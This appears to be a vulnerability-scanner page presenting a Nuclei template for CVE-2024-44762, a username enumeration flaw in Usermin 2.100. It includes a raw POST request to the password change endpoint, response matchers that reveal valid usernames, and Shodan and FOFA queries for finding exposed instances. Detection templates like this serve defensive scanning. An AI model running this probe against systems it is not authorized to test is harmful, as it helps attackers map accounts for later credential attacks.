Usermin 2.100 - Username Enumeration
CVE-2024-44762
Verified
Description
Usermin version 2.100 and below is susceptible to username enumeration via the password change functionality. An attacker can determine valid usernames by analyzing the response messages from the password change endpoint.
Severity
Medium
CVSS Score
5.3
Exploit Probability
3%
Affected Product
usermin
Published Date
May 21, 2025
Template Author
ritikchaddha
CVE-2024-44762.yaml
id: CVE-2024-44762
info:
name: Usermin 2.100 - Username Enumeration
author: ritikchaddha
severity: medium
description: |
Usermin version 2.100 and below is susceptible to username enumeration via the password change functionality. An attacker can determine valid usernames by analyzing the response messages from the password change endpoint.
impact: |
Attackers can enumerate valid usernames by analyzing password change responses, aiding in further attacks.
remediation: |
Upgrade to the latest version of Usermin that addresses this vulnerability.
reference:
- https://www.exploit-db.com/exploits/52254
- https://www.webmin.com/usermin.html
- https://senscybersecurity.nl/cve-2024-44762-explained/
- https://nvd.nist.gov/vuln/detail/CVE-2024-44762
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-44762
cwe-id: CWE-209
epss-score: 0.02621
epss-percentile: 0.83755
metadata:
verified: true
max-request: 1
vendor: webmin
product: usermin
shodan-query: title:"Usermin"
fofa-query: app="Usermin"
tags: cve,cve2024,usermin,webmin,exposure,usernames,vuln
http:
- raw:
- |
POST /password_change.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/password_change.cgi
user=admin&pam=&expired=2&old=fakePassword&new1=password&new2=password
matchers:
- type: word
part: body
words:
- "Failed to change password: The current password is incorrect"
- "Your login name was not found in the password file"
condition: or
# digest: 4b0a00483046022100eb8fe7be9646b6a65b42740e7a45bd81ffe40081f3ef14ba58b3e9a08ef9079d022100945e94e66fac8380403f2d60ca6dd9fbca42376fadc5549e6a80b4e096ea4a7e:922c64590222798bb761d5b6d8e729505.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2024-44762
CWE ID:
cwe-209
Remediation Steps
Upgrade to the latest version of Usermin that addresses this vulnerability.